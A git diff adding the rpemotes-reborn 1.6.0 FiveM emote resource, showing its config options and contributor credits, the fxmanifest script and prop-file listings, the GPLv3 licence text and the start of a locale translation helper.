Binocular Options + BinocularsEnabled = false, -- If set to true, the /binoculars command will be enabled. + AllowVisionsToggling = false, -- If set to true, you'll be able to toggle between different vision modes in the binoculars + + -- News Camera Options + NewscamEnabled = false, -- If set to true, the /newscam command will be enabled. + + -- Preview Ped Options + PreviewPed = true, -- Shows a preview of the emote on the player's ped next to the emote menu. Note that resmon will increase when this when emotes are being previewed. + +} + +Config.KeybindKeys = { + ['num4'] = 108, + ['num5'] = 110, + ['num6'] = 109, + ['num7'] = 117, + ['num8'] = 111, + ['num9'] = 118 +} + +Config.Credits = { + {title = "Thanks to the community", subtitle = "For supporting and using RP Emotes!"}, + {title = "Thanks Enzo2991 🇧🇪 ", subtitle = "Enzo2991 🇧🇪 for creating the ped preview functionality"}, + {title = "Thanks ~o~DullPear 🍐~s~", subtitle = "~o~DullPear~s~ for the original dpemotes ❤️"}, + {title = "Thanks Kibook 🐩", subtitle = "Kibook for the addition of Animal Emotes 🐩 submenu."}, + {title = "Thanks ~y~AvaN0x 🇫🇷~s~", subtitle = "~y~AvaN0x~s~ 🇫🇷 for reformatting and assisting with code and additional features 🙏"}, + {title = "Thanks Mads 🤖", subtitle = "Mads 🤖 for the addition of Exit Emotes, Crouch & Crawl ⚙️"}, + {title = "Thanks Mathu_lmn 🇫🇷 ", subtitle = "Mathu_lmn 🇫🇷 Additional features and fixes 🛠️"}, + {title = "Thanks northsqrd ⚙️", subtitle = "northsqrd for assisting with search feature and phone colours 🔎"}, + {title = "Thanks GeekGarage 🤓", subtitle = "GeekGarage for assisting with code and features"}, + {title = "Thanks SMGMissy 🪖", subtitle = "SMGMissy for the custom pride flags 🏳️‍🌈."}, + {title = "Thanks Dollie 👧", subtitle = "DollieMods for the custom emotes 💜."}, + {title = "Thanks Tigerle 🐯", subtitle = "Tigerle for assisting with attached Shared Emotes ⚙️."}, + {title = "Thanks MissSnowie 🐰", subtitle = "MissSnowie for the custom emotes 🐇."}, + {title = "Thanks Smokey 💨", subtitle = "Smokey for the custom emotes 🤙🏼."}, + {title = "Thanks ~b~Ultrahacx 🧑‍💻~s~", subtitle = "~b~Ultrahacx~s~ for the custom emotes ☺️."}, + {title = "Thanks BzZzi 🤭", subtitle = "BzZzi for the custom props 🍩."}, + {title = "Thanks Natty3d 🍭", subtitle = "Natty3d for the custom lollipop props 🍭."}, + {title = "Thanks Amnilka 🇵🇱", subtitle = "Amnilka for the custom emotes ☺️."}, + {title = "Thanks LittleSpoon 🥄", subtitle = "LittleSpoon for the custom emotes 💗."}, + {title = "Thanks Pupppy 🐶", subtitle = "Pupppy for the custom emotes 🦴."}, + {title = "Thanks SapphireMods", subtitle = "SapphireMods for the custom emotes ✨."}, + {title = "Thanks QueenSisters Animations 👭", subtitle = "QueenSistersAnimations for the custom emotes 🍧"}, + {title = "Thanks BoringNeptune 👽", subtitle = "BoringNeptune for the custom emotes 🕺"}, + {title = "Thanks Moses 🐮", subtitle = "-Moses- for the custom emotes 🧡" }, + {title = "Thanks PataMods 🍓", subtitle = "PataMods for the custom props 🍕"}, + {title = "Thanks Crowded1337 👜", subtitle = "Crowded1337 for the custom Gucci bag 👜"}, + {title = "Thanks EnchantedBrownie 🍪", subtitle = "EnchantedBrownie 🍪 for the custom animations 🍪"}, + {title = "Thanks Copofiscool 🇦🇺", subtitle = "Copofiscool for the Favorite Emote keybind toggle fix 🇦🇺"}, + {title = "Thanks iSentrie ", subtitle = "iSentrie for assisting with code 🛠️"}, + {title = "Thanks Chocoholic Animations 🍫", subtitle = "Chocoholic Animations for the custom emotes 🍫"}, + {title = "Thanks CrunchyCat 🐱", subtitle = "CrunchyCat 🐱 for the custom emotes 🐱"}, + {title = "Thanks KayKayMods", subtitle = "KayKayMods for the custom props 🧋"}, + {title = "Thanks Dark Animations", subtitle = "Dark Animations for the custom animations 🖤"}, + {title = "Thanks Brum 🇬🇧", subtitle = "Brum for the custom props 🇬🇧"}, + {title = "Thanks Chico 💀", subtitle = "Chico 💀 for fixing persistent walkstyles and moods for QB-Core and ESX." }, + {title = "Thanks -EcLiPsE- ✌🏻", subtitle = "-EcLiPsE- ✌🏻 for NPC prop sets and GTA Online biker animations"}, + {title = "Thanks MrWitt 🦑️", subtitle = "MrWitt 🦑 for the custom animations."}, + {title = "Thanks AdoredRose 🌹", subtitle = "AdoredRose 🌹 for assistance with adding animations."}, + {title = "Thanks DRX Animations 👑", subtitle = "DRX Animations 👑 for the custom animations"}, + {title = "Thanks Radial 🫡", subtitle = "Radial on discord for contributing animations code"}, + {title = "TayMcKenzieNZ 🇳🇿", subtitle = "TayMcKenzieNZ 🇳🇿 Previous maintainer of RP Emotes."}, +} \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/fxmanifest.lua b/resources/rpemotesreborn1.6.0/fxmanifest.lua new file mode 100644 index 000000000..aaba6702d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/fxmanifest.lua @@ -0,0 +1,91 @@ +fx_version 'cerulean' +game 'gta5' +description 'rpemotes-reborn' +version '1.6.0' + +lua54 'yes' +use_experimental_fxv2_oal 'yes' + +dependencies{ + -- '/server:7290', + '/server:6683', + '/onesync', +} + +-- Remove the following lines if you would like to use the SQL keybinds. Requires oxmysql. +--#region oxmysql +-- dependency 'oxmysql' +-- server_script '@oxmysql/lib/MySQL.lua' +--#endregion oxmysql +files{ + 'propsets.meta', + 'conditionalanims.meta', + 'header.png', +} + +data_file 'AMBIENT_PROP_MODEL_SET_FILE' 'propsets.meta' +data_file 'CONDITIONAL_ANIMS_FILE' 'conditionalanims.meta' + +shared_scripts{ + 'config.lua', + 'locale.lua', + 'locales/*.lua', + 'animals.lua', +} + +server_scripts{ + 'server/Server.lua', + 'server/Updates.lua', + 'server/frameworks/*.lua' +} + +client_scripts{ + 'NativeUI.lua', + 'client/Utils.lua', + 'client/AnimationList.lua', + 'client/AnimationListCustom.lua', + 'client/Binoculars.lua', + 'client/Crouch.lua', + 'client/Emote.lua', + 'client/EmoteMenu.lua', + 'client/Expressions.lua', + 'client/Keybinds.lua', + 'client/NewsCam.lua', + 'client/NoIdleCam.lua', + 'client/Pointing.lua', + 'client/Ragdoll.lua', + 'client/Syncing.lua', + 'client/Walk.lua', + 'client/frameworks/*.lua', +} + +---- Loads all ytyp files for custom props to stream --- +---- You will need to add a data_file 'DLC_ITYP_REQUEST' for your own to work in game --- +data_file 'DLC_ITYP_REQUEST' 'stream/taymckenzienz_rpemotes.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/brummie_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/bzzz_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/bzzz_camp_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/apple_1.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/kaykaymods_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/knjgh_pizzas.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/natty_props_lollipops.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/ultra_ringcase.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/pata_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/vedere_props.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/pnwsigns.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'stream/pprp_icefishing.ytyp' + +data_file 'DLC_ITYP_REQUEST' 'scully_props.ytyp' +server_scripts { '@mysql-async/lib/MySQL.lua' } \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/header.png b/resources/rpemotesreborn1.6.0/header.png new file mode 100644 index 000000000..a7e0512a4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/header.png differ diff --git a/resources/rpemotesreborn1.6.0/license b/resources/rpemotesreborn1.6.0/license new file mode 100644 index 000000000..f288702d2 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/license @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/resources/rpemotesreborn1.6.0/locale.lua b/resources/rpemotesreborn1.6.0/locale.lua new file mode 100644 index 000000000..30f2f5dbb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locale.lua @@ -0,0 +1,29 @@ +Locales = {} + +function Translate(str, ...) -- Translate string + if not str then + print(("[^1ERROR^7] Resource ^5%s^7 You did not specify a parameter for the Translate function or the value is nil!"):format(GetInvokingResource() or GetCurrentResourceName())) + return "Given translate function parameter is nil!" + end + if Locales[Config.MenuLanguage] then + if Locales[Config.MenuLanguage][str] then + return string.format(Locales[Config.MenuLanguage][str], ...) + elseif Config.MenuLanguage ~= "en" and Locales["en"] and Locales["en"][str] then + return string.format(Locales["en"][str], ...) 